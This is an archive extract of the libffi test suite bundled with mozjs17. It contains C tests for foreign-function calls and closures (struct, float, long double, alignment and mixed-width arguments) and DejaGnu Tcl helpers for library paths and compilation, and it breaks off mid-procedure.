mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/struct5.c0000664000175000017500000000256612106270662024531 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check structures. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" typedef struct { char c1; char c2; } test_structure_5; static test_structure_5 struct5(test_structure_5 ts1, test_structure_5 ts2) { ts1.c1 += ts2.c1; ts1.c2 -= ts2.c2; return ts1; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_type ts5_type; ffi_type *ts5_type_elements[3]; ts5_type.size = 0; ts5_type.alignment = 0; ts5_type.type = FFI_TYPE_STRUCT; ts5_type.elements = ts5_type_elements; ts5_type_elements[0] = &ffi_type_schar; ts5_type_elements[1] = &ffi_type_schar; ts5_type_elements[2] = NULL; test_structure_5 ts5_arg1, ts5_arg2; /* This is a hack to get a properly aligned result buffer */ test_structure_5 *ts5_result = (test_structure_5 *) malloc (sizeof(test_structure_5)); args[0] = &ts5_type; args[1] = &ts5_type; values[0] = &ts5_arg1; values[1] = &ts5_arg2; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ts5_type, args) == FFI_OK); ts5_arg1.c1 = 2; ts5_arg1.c2 = 6; ts5_arg2.c1 = 5; ts5_arg2.c2 = 3; ffi_call (&cif, FFI_FN(struct5), ts5_result, values); CHECK(ts5_result->c1 == 7); CHECK(ts5_result->c2 == 3); free (ts5_result); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_fl2.c0000664000175000017500000000211312106270662025166 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value float. Limitations: none. PR: none. Originator: 20050212 */ /* { dg-do run } */ #include "ffitest.h" /* Use volatile float to avoid false negative on ix86. See PR target/323. */ static float return_fl(float fl1, float fl2, float fl3, float fl4) { volatile float sum; sum = fl1 + fl2 + fl3 + fl4; return sum; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; float fl1, fl2, fl3, fl4, rfl; volatile float sum; args[0] = &ffi_type_float; args[1] = &ffi_type_float; args[2] = &ffi_type_float; args[3] = &ffi_type_float; values[0] = &fl1; values[1] = &fl2; values[2] = &fl3; values[3] = &fl4; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &ffi_type_float, args) == FFI_OK); fl1 = 127.0; fl2 = 128.0; fl3 = 255.1; fl4 = 512.7; ffi_call(&cif, FFI_FN(return_fl), &rfl, values); printf ("%f vs %f\n", rfl, return_fl(fl1, fl2, fl3, fl4)); sum = fl1 + fl2 + fl3 + fl4; CHECK(rfl == sum); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_pointer.c0000664000175000017500000000520412106270662026603 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of pointer. Limitations: none. PR: none. Originator: 20031203 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_align { unsigned char a; void *b; unsigned char c; } cls_struct_align; cls_struct_align cls_struct_align_fn(struct cls_struct_align a1, struct cls_struct_align a2) { struct cls_struct_align result; result.a = a1.a + a2.a; result.b = (void *)((uintptr_t)a1.b + (uintptr_t)a2.b); result.c = a1.c + a2.c; printf("%d %" PRIuPTR " %d %d %" PRIuPTR " %d: %d %" PRIuPTR " %d\n", a1.a, (uintptr_t)a1.b, a1.c, a2.a, (uintptr_t)a2.b, a2.c, result.a, (uintptr_t)result.b, result.c); return result; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 12, (void *)4951, 127 }; struct cls_struct_align f_dbl = { 1, (void *)9320, 13 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_pointer; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %" PRIuPTR " %d\n", res_dbl.a, (uintptr_t)res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %" PRIuPTR " %d\n", res_dbl.a, (uintptr_t)res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_longdouble.c0000664000175000017500000000537712106270662026116 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check long double arguments. Limitations: none. PR: none. Originator: Blake Chaffin */ /* { dg-excess-errors "no long double format" { xfail x86_64-*-mingw* x86_64-*-cygwin* } } */ /* { dg-do run { xfail arm*-*-* strongarm*-*-* xscale*-*-* } } */ /* { dg-options -mlong-double-128 { target powerpc64*-*-* } } */ /* { dg-output "" { xfail x86_64-*-mingw* x86_64-*-cygwin* } } */ #include "ffitest.h" long double cls_ldouble_fn( long double a1, long double a2, long double a3, long double a4, long double a5, long double a6, long double a7, long double a8) { long double r = a1 + a2 + a3 + a4 + a5 + a6 + a7 + a8; printf("%Lg %Lg %Lg %Lg %Lg %Lg %Lg %Lg: %Lg\n", a1, a2, a3, a4, a5, a6, a7, a8, r); return r; } static void cls_ldouble_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { long double a1 = *(long double*)args[0]; long double a2 = *(long double*)args[1]; long double a3 = *(long double*)args[2]; long double a4 = *(long double*)args[3]; long double a5 = *(long double*)args[4]; long double a6 = *(long double*)args[5]; long double a7 = *(long double*)args[6]; long double a8 = *(long double*)args[7]; *(long double*)resp = cls_ldouble_fn( a1, a2, a3, a4, a5, a6, a7, a8); } int main(void) { ffi_cif cif; void* code; ffi_closure* pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args[9]; ffi_type* arg_types[9]; long double res = 0; long double arg1 = 1; long double arg2 = 2; long double arg3 = 3; long double arg4 = 4; long double arg5 = 5; long double arg6 = 6; long double arg7 = 7; long double arg8 = 8; arg_types[0] = &ffi_type_longdouble; arg_types[1] = &ffi_type_longdouble; arg_types[2] = &ffi_type_longdouble; arg_types[3] = &ffi_type_longdouble; arg_types[4] = &ffi_type_longdouble; arg_types[5] = &ffi_type_longdouble; arg_types[6] = &ffi_type_longdouble; arg_types[7] = &ffi_type_longdouble; arg_types[8] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 8, &ffi_type_longdouble, arg_types) == FFI_OK); args[0] = &arg1; args[1] = &arg2; args[2] = &arg3; args[3] = &arg4; args[4] = &arg5; args[5] = &arg6; args[6] = &arg7; args[7] = &arg8; args[8] = NULL; ffi_call(&cif, FFI_FN(cls_ldouble_fn), &res, args); /* { dg-output "1 2 3 4 5 6 7 8: 36" } */ printf("res: %Lg\n", res); /* { dg-output "\nres: 36" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_ldouble_gn, NULL, code) == FFI_OK); res = ((long double(*)(long double, long double, long double, long double, long double, long double, long double, long double))(code))(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8); /* { dg-output "\n1 2 3 4 5 6 7 8: 36" } */ printf("res: %Lg\n", res); /* { dg-output "\nres: 36" } */ return 0; } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_multi_ushortchar.c0000664000175000017500000000403612106270662027347 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check passing of multiple unsigned short/char values. Limitations: none. PR: PR13221. Originator: 20031129 */ /* { dg-do run } */ #include "ffitest.h" unsigned short test_func_fn(unsigned char a1, unsigned short a2, unsigned char a3, unsigned short a4) { unsigned short result; result = a1 + a2 + a3 + a4; printf("%d %d %d %d: %d\n", a1, a2, a3, a4, result); return result; } static void test_func_gn(ffi_cif *cif __UNUSED__, void *rval, void **avals, void *data __UNUSED__) { unsigned char a1, a3; unsigned short a2, a4; a1 = *(unsigned char *)avals[0]; a2 = *(unsigned short *)avals[1]; a3 = *(unsigned char *)avals[2]; a4 = *(unsigned short *)avals[3]; *(ffi_arg *)rval = test_func_fn(a1, a2, a3, a4); } typedef unsigned short (*test_type)(unsigned char, unsigned short, unsigned char, unsigned short); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void * args_dbl[5]; ffi_type * cl_arg_types[5]; ffi_arg res_call; unsigned char a, c; unsigned short b, d, res_closure; a = 1; b = 2; c = 127; d = 128; args_dbl[0] = &a; args_dbl[1] = &b; args_dbl[2] = &c; args_dbl[3] = &d; args_dbl[4] = NULL; cl_arg_types[0] = &ffi_type_uchar; cl_arg_types[1] = &ffi_type_ushort; cl_arg_types[2] = &ffi_type_uchar; cl_arg_types[3] = &ffi_type_ushort; cl_arg_types[4] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &ffi_type_ushort, cl_arg_types) == FFI_OK); ffi_call(&cif, FFI_FN(test_func_fn), &res_call, args_dbl); /* { dg-output "1 2 127 128: 258" } */ printf("res: %d\n", (unsigned short)res_call); /* { dg-output "\nres: 258" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, test_func_gn, NULL, code) == FFI_OK); res_closure = (*((test_type)code))(1, 2, 127, 128); /* { dg-output "\n1 2 127 128: 258" } */ printf("res: %d\n", res_closure); /* { dg-output "\nres: 258" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_sint.c0000664000175000017500000000204512106270662024726 0ustar sstanglsstangl/* Area: closure_call Purpose: Check return value sint32. Limitations: none. PR: none. Originator: 20031108 */ /* { dg-do run } */ #include "ffitest.h" static void cls_ret_sint_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { *(ffi_arg*)resp = *(signed int *)args[0]; printf("%d: %d\n",*(signed int *)args[0], (int)*(ffi_arg *)(resp)); } typedef signed int (*cls_ret_sint)(signed int); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[2]; signed int res; cl_arg_types[0] = &ffi_type_sint; cl_arg_types[1] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_sint, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_ret_sint_fn, NULL, code) == FFI_OK); res = (*((cls_ret_sint)code))(65534); /* { dg-output "65534: 65534" } */ printf("res: %d\n",res); /* { dg-output "\nres: 65534" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_double.c0000664000175000017500000000472612106270662026405 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of double. Limitations: none. PR: none. Originator: 20031203 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_align { unsigned char a; double b; unsigned char c; } cls_struct_align; cls_struct_align cls_struct_align_fn(struct cls_struct_align a1, struct cls_struct_align a2) { struct cls_struct_align result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %g %d %d %g %d: %d %g %d\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 12, 4951, 127 }; struct cls_struct_align f_dbl = { 1, 9320, 13 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_double; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/lib/0000775000175000017500000000000012106270662021344 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/testsuite/lib/target-libpath.exp0000664000175000017500000002176412106270662025003 0ustar sstanglsstangl# Copyright (C) 2004, 2005, 2007 Free Software Foundation, Inc. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GCC; see the file COPYING3. If not see # . # This file was contributed by John David Anglin (dave.anglin@nrc-cnrc.gc.ca) set orig_environment_saved 0 set orig_ld_library_path_saved 0 set orig_ld_run_path_saved 0 set orig_shlib_path_saved 0 set orig_ld_libraryn32_path_saved 0 set orig_ld_library64_path_saved 0 set orig_ld_library_path_32_saved 0 set orig_ld_library_path_64_saved 0 set orig_dyld_library_path_saved 0 ####################################### # proc set_ld_library_path_env_vars { } ####################################### proc set_ld_library_path_env_vars { } { global ld_library_path global orig_environment_saved global orig_ld_library_path_saved global orig_ld_run_path_saved global orig_shlib_path_saved global orig_ld_libraryn32_path_saved global orig_ld_library64_path_saved global orig_ld_library_path_32_saved global orig_ld_library_path_64_saved global orig_dyld_library_path_saved global orig_ld_library_path global orig_ld_run_path global orig_shlib_path global orig_ld_libraryn32_path global orig_ld_library64_path global orig_ld_library_path_32 global orig_ld_library_path_64 global orig_dyld_library_path global GCC_EXEC_PREFIX # Set the relocated compiler prefix, but only if the user hasn't specified one. if { [info exists GCC_EXEC_PREFIX] && ![info exists env(GCC_EXEC_PREFIX)] } { setenv GCC_EXEC_PREFIX "$GCC_EXEC_PREFIX" } # Setting the ld library path causes trouble when testing cross-compilers. if { [is_remote target] } { return } if { $orig_environment_saved == 0 } { global env set orig_environment_saved 1 # Save the original environment. if [info exists env(LD_LIBRARY_PATH)] { set orig_ld_library_path "$env(LD_LIBRARY_PATH)" set orig_ld_library_path_saved 1 } if [info exists env(LD_RUN_PATH)] { set orig_ld_run_path "$env(LD_RUN_PATH)" set orig_ld_run_path_saved 1 } if [info exists env(SHLIB_PATH)] { set orig_shlib_path "$env(SHLIB_PATH)" set orig_shlib_path_saved 1 } if [info exists env(LD_LIBRARYN32_PATH)] { set orig_ld_libraryn32_path "$env(LD_LIBRARYN32_PATH)" set orig_ld_libraryn32_path_saved 1 } if [info exists env(LD_LIBRARY64_PATH)] { set orig_ld_library64_path "$env(LD_LIBRARY64_PATH)" set orig_ld_library64_path_saved 1 } if [info exists env(LD_LIBRARY_PATH_32)] { set orig_ld_library_path_32 "$env(LD_LIBRARY_PATH_32)" set orig_ld_library_path_32_saved 1 } if [info exists env(LD_LIBRARY_PATH_64)] { set orig_ld_library_path_64 "$env(LD_LIBRARY_PATH_64)" set orig_ld_library_path_64_saved 1 } if [info exists env(DYLD_LIBRARY_PATH)] { set orig_dyld_library_path "$env(DYLD_LIBRARY_PATH)" set orig_dyld_library_path_saved 1 } } # We need to set ld library path in the environment. Currently, # unix.exp doesn't set the environment correctly for all systems. # It only sets SHLIB_PATH and LD_LIBRARY_PATH when it executes a # program. We also need the environment set for compilations, etc. # # On IRIX 6, we have to set variables akin to LD_LIBRARY_PATH, but # called LD_LIBRARYN32_PATH (for the N32 ABI) and LD_LIBRARY64_PATH # (for the 64-bit ABI). The same applies to Darwin (DYLD_LIBRARY_PATH), # Solaris 32 bit (LD_LIBRARY_PATH_32), Solaris 64 bit (LD_LIBRARY_PATH_64), # and HP-UX (SHLIB_PATH). In some cases, the variables are independent # of LD_LIBRARY_PATH, and in other cases LD_LIBRARY_PATH is used if the # variable is not defined. # # Doing this is somewhat of a hack as ld_library_path gets repeated in # SHLIB_PATH and LD_LIBRARY_PATH when unix_load sets these variables. if { $orig_ld_library_path_saved } { setenv LD_LIBRARY_PATH "$ld_library_path:$orig_ld_library_path" } else { setenv LD_LIBRARY_PATH "$ld_library_path" } if { $orig_ld_run_path_saved } { setenv LD_RUN_PATH "$ld_library_path:$orig_ld_run_path" } else { setenv LD_RUN_PATH "$ld_library_path" } # The default shared library dynamic path search for 64-bit # HP-UX executables searches LD_LIBRARY_PATH before SHLIB_PATH. # LD_LIBRARY_PATH isn't used for 32-bit executables. Thus, we # set LD_LIBRARY_PATH and SHLIB_PATH as if they were independent. if { $orig_shlib_path_saved } { setenv SHLIB_PATH "$ld_library_path:$orig_shlib_path" } else { setenv SHLIB_PATH "$ld_library_path" } if { $orig_ld_libraryn32_path_saved } { setenv LD_LIBRARYN32_PATH "$ld_library_path:$orig_ld_libraryn32_path" } elseif { $orig_ld_library_path_saved } { setenv LD_LIBRARYN32_PATH "$ld_library_path:$orig_ld_library_path" } else { setenv LD_LIBRARYN32_PATH "$ld_library_path" } if { $orig_ld_library64_path_saved } { setenv LD_LIBRARY64_PATH "$ld_library_path:$orig_ld_library64_path" } elseif { $orig_ld_library_path_saved } { setenv LD_LIBRARY64_PATH "$ld_library_path:$orig_ld_library_path" } else { setenv LD_LIBRARY64_PATH "$ld_library_path" } if { $orig_ld_library_path_32_saved } { setenv LD_LIBRARY_PATH_32 "$ld_library_path:$orig_ld_library_path_32" } elseif { $orig_ld_library_path_saved } { setenv LD_LIBRARY_PATH_32 "$ld_library_path:$orig_ld_library_path" } else { setenv LD_LIBRARY_PATH_32 "$ld_library_path" } if { $orig_ld_library_path_64_saved } { setenv LD_LIBRARY_PATH_64 "$ld_library_path:$orig_ld_library_path_64" } elseif { $orig_ld_library_path_saved } { setenv LD_LIBRARY_PATH_64 "$ld_library_path:$orig_ld_library_path" } else { setenv LD_LIBRARY_PATH_64 "$ld_library_path" } if { $orig_dyld_library_path_saved } { setenv DYLD_LIBRARY_PATH "$ld_library_path:$orig_dyld_library_path" } else { setenv DYLD_LIBRARY_PATH "$ld_library_path" } verbose -log "set_ld_library_path_env_vars: ld_library_path=$ld_library_path" } ####################################### # proc restore_ld_library_path_env_vars { } ####################################### proc restore_ld_library_path_env_vars { } { global orig_environment_saved global orig_ld_library_path_saved global orig_ld_run_path_saved global orig_shlib_path_saved global orig_ld_libraryn32_path_saved global orig_ld_library64_path_saved global orig_ld_library_path_32_saved global orig_ld_library_path_64_saved global orig_dyld_library_path_saved global orig_ld_library_path global orig_ld_run_path global orig_shlib_path global orig_ld_libraryn32_path global orig_ld_library64_path global orig_ld_library_path_32 global orig_ld_library_path_64 global orig_dyld_library_path if { $orig_environment_saved == 0 } { return } if { $orig_ld_library_path_saved } { setenv LD_LIBRARY_PATH "$orig_ld_library_path" } elseif [info exists env(LD_LIBRARY_PATH)] { unsetenv LD_LIBRARY_PATH } if { $orig_ld_run_path_saved } { setenv LD_RUN_PATH "$orig_ld_run_path" } elseif [info exists env(LD_RUN_PATH)] { unsetenv LD_RUN_PATH } if { $orig_shlib_path_saved } { setenv SHLIB_PATH "$orig_shlib_path" } elseif [info exists env(SHLIB_PATH)] { unsetenv SHLIB_PATH } if { $orig_ld_libraryn32_path_saved } { setenv LD_LIBRARYN32_PATH "$orig_ld_libraryn32_path" } elseif [info exists env(LD_LIBRARYN32_PATH)] { unsetenv LD_LIBRARYN32_PATH } if { $orig_ld_library64_path_saved } { setenv LD_LIBRARY64_PATH "$orig_ld_library64_path" } elseif [info exists env(LD_LIBRARY64_PATH)] { unsetenv LD_LIBRARY64_PATH } if { $orig_ld_library_path_32_saved } { setenv LD_LIBRARY_PATH_32 "$orig_ld_library_path_32" } elseif [info exists env(LD_LIBRARY_PATH_32)] { unsetenv LD_LIBRARY_PATH_32 } if { $orig_ld_library_path_64_saved } { setenv LD_LIBRARY_PATH_64 "$orig_ld_library_path_64" } elseif [info exists env(LD_LIBRARY_PATH_64)] { unsetenv LD_LIBRARY_PATH_64 } if { $orig_dyld_library_path_saved } { setenv DYLD_LIBRARY_PATH "$orig_dyld_library_path" } elseif [info exists env(DYLD_LIBRARY_PATH)] { unsetenv DYLD_LIBRARY_PATH } } ####################################### # proc get_shlib_extension { } ####################################### proc get_shlib_extension { } { global shlib_ext if { [ istarget *-*-darwin* ] } { set shlib_ext "dylib" } elseif { [ istarget *-*-cygwin* ] || [ istarget *-*-mingw* ] } { set shlib_ext "dll" } elseif { [ istarget hppa*-*-hpux* ] } { set shlib_ext "sl" } else { set shlib_ext "so" } return $shlib_ext } mozjs17.0.0/js/src/ctypes/libffi/testsuite/lib/libffi-dg.exp0000664000175000017500000002427512106270662023717 0ustar sstanglsstangl# Copyright (C) 2003, 2005, 2008, 2009, 2010 Free Software Foundation, Inc. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. proc load_gcc_lib { filename } { global srcdir load_file $srcdir/lib/$filename } load_lib dg.exp load_lib libgloss.exp load_gcc_lib target-libpath.exp load_gcc_lib wrapper.exp # Define libffi callbacks for dg.exp. proc libffi-dg-test-1 { target_compile prog do_what extra_tool_flags } { # To get all \n in dg-output test strings to match printf output # in a system that outputs it as \015\012 (i.e. not just \012), we # need to change all \n into \r?\n. As there is no dejagnu flag # or hook to do that, we simply change the text being tested. # Unfortunately, we have to know that the variable is called # dg-output-text and lives in the caller of libffi-dg-test, which # is two calls up. Overriding proc dg-output would be longer and # would necessarily have the same assumption. upvar 2 dg-output-text output_match if { [llength $output_match] > 1 } { regsub -all "\n" [lindex $output_match 1] "\r?\n" x set output_match [lreplace $output_match 1 1 $x] } # Set up the compiler flags, based on what we're going to do. set options [list] switch $do_what { "compile" { set compile_type "assembly" set output_file "[file rootname [file tail $prog]].s" } "link" { set compile_type "executable" set output_file "[file rootname [file tail $prog]].exe" # The following line is needed for targets like the i960 where # the default output file is b.out. Sigh. } "run" { set compile_type "executable" # FIXME: "./" is to cope with "." not being in $PATH. # Should this be handled elsewhere? # YES. set output_file "./[file rootname [file tail $prog]].exe" # This is the only place where we care if an executable was # created or not. If it was, dg.exp will try to run it. remote_file build delete $output_file; } default { perror "$do_what: not a valid dg-do keyword" return "" } } if { $extra_tool_flags != "" } { lappend options "additional_flags=$extra_tool_flags" } set comp_output [libffi_target_compile "$prog" "$output_file" "$compile_type" $options]; return [list $comp_output $output_file] } proc libffi-dg-test { prog do_what extra_tool_flags } { return [libffi-dg-test-1 target_compile $prog $do_what $extra_tool_flags] } proc libffi-init { args } { global gluefile wrap_flags; global srcdir global blddirffi global objdir global TOOL_OPTIONS global tool global libffi_include global libffi_link_flags global tool_root_dir global ld_library_path set blddirffi [pwd]/.. verbose "libffi $blddirffi" set gccdir [lookfor_file $tool_root_dir gcc/libgcc.a] if {$gccdir != ""} { set gccdir [file dirname $gccdir] } verbose "gccdir $gccdir" set ld_library_path "." append ld_library_path ":${gccdir}" set compiler "${gccdir}/xgcc" if { [is_remote host] == 0 && [which $compiler] != 0 } { foreach i "[exec $compiler --print-multi-lib]" { set mldir "" regexp -- "\[a-z0-9=_/\.-\]*;" $i mldir set mldir [string trimright $mldir "\;@"] if { "$mldir" == "." } { continue } if { [llength [glob -nocomplain ${gccdir}/${mldir}/libgcc_s*.so.*]] >= 1 } { append ld_library_path ":${gccdir}/${mldir}" } } } # add the library path for libffi. append ld_library_path ":${blddirffi}/.libs" verbose "ld_library_path: $ld_library_path" # Point to the Libffi headers in libffi. set libffi_include "${blddirffi}/include" verbose "libffi_include $libffi_include" set libffi_dir "${blddirffi}/.libs" verbose "libffi_dir $libffi_dir" if { $libffi_dir != "" } { set libffi_dir [file dirname ${libffi_dir}] set libffi_link_flags "-L${libffi_dir}/.libs" } set_ld_library_path_env_vars libffi_maybe_build_wrapper "${objdir}/testglue.o" } proc libffi_exit { } { global gluefile; if [info exists gluefile] { file_on_build delete $gluefile; unset gluefile; } } proc libffi_target_compile { source dest type options } { global gluefile wrap_flags; global srcdir global blddirffi global TOOL_OPTIONS global libffi_link_flags global libffi_include global target_triplet if { [target_info needs_status_wrapper]!="" && [info exists gluefile] } { lappend options "libs=${gluefile}" lappend options "ldflags=$wrap_flags" } # TOOL_OPTIONS must come first, so that it doesn't override testcase # specific options. if [info exists TOOL_OPTIONS] { lappend options [concat "additional_flags=$TOOL_OPTIONS" $options]; } # search for ffi_mips.h in srcdir, too lappend options "additional_flags=-I${libffi_include} -I${srcdir}/../include -I${libffi_include}/.." lappend options "additional_flags=${libffi_link_flags}" # Darwin needs a stack execution allowed flag. if { [istarget "*-*-darwin9*"] || [istarget "*-*-darwin1*"] || [istarget "*-*-darwin2*"] } { lappend options "additional_flags=-Wl,-allow_stack_execute" } # If you're building the compiler with --prefix set to a place # where it's not yet installed, then the linker won't be able to # find the libgcc used by libffi.dylib. We could pass the # -dylib_file option, but that's complicated, and it's much easier # to just make the linker find libgcc using -L options. if { [string match "*-*-darwin*" $target_triplet] } { lappend options "libs= -shared-libgcc" } if { [string match "*-*-openbsd*" $target_triplet] } { lappend options "libs= -lpthread" } lappend options "libs= -lffi" verbose "options: $options" return [target_compile $source $dest $type $options] } # Utility routines. # # search_for -- looks for a string match in a file # proc search_for { file pattern } { set fd [open $file r] while { [gets $fd cur_line]>=0 } { if [string match "*$pattern*" $cur_line] then { close $fd return 1 } } close $fd return 0 } # Modified dg-runtest that can cycle through a list of optimization options # as c-torture does. proc libffi-dg-runtest { testcases default-extra-flags } { global runtests foreach test $testcases { # If we're only testing specific files and this isn't one of # them, skip it. if ![runtest_file_p $runtests $test] { continue } # Look for a loop within the source code - if we don't find one, # don't pass -funroll[-all]-loops. global torture_with_loops torture_without_loops if [expr [search_for $test "for*("]+[search_for $test "while*("]] { set option_list $torture_with_loops } else { set option_list $torture_without_loops } set nshort [file tail [file dirname $test]]/[file tail $test] foreach flags $option_list { verbose "Testing $nshort, $flags" 1 dg-test $test $flags ${default-extra-flags} } } } # Like check_conditional_xfail, but callable from a dg test. proc dg-xfail-if { args } { set args [lreplace $args 0 0] set selector "target [join [lindex $args 1]]" if { [dg-process-target $selector] == "S" } { global compiler_conditional_xfail_data set compiler_conditional_xfail_data $args } } proc check-flags { args } { # The args are within another list; pull them out. set args [lindex $args 0] # The next two arguments are optional. If they were not specified, # use the defaults. if { [llength $args] == 2 } { lappend $args [list "*"] } if { [llength $args] == 3 } { lappend $args [list ""] } # If the option strings are the defaults, or the same as the # defaults, there is no need to call check_conditional_xfail to # compare them to the actual options. if { [string compare [lindex $args 2] "*"] == 0 && [string compare [lindex $args 3] "" ] == 0 } { set result 1 } else { # The target list might be an effective-target keyword, so replace # the original list with "*-*-*", since we already know it matches. set result [check_conditional_xfail [lreplace $args 1 1 "*-*-*"]] } return $result } proc dg-skip-if { args } { # Verify the number of arguments. The last two are optional. set args [lreplace $args 0 0] if { [llength $args] < 2 || [llength $args] > 4 } { error 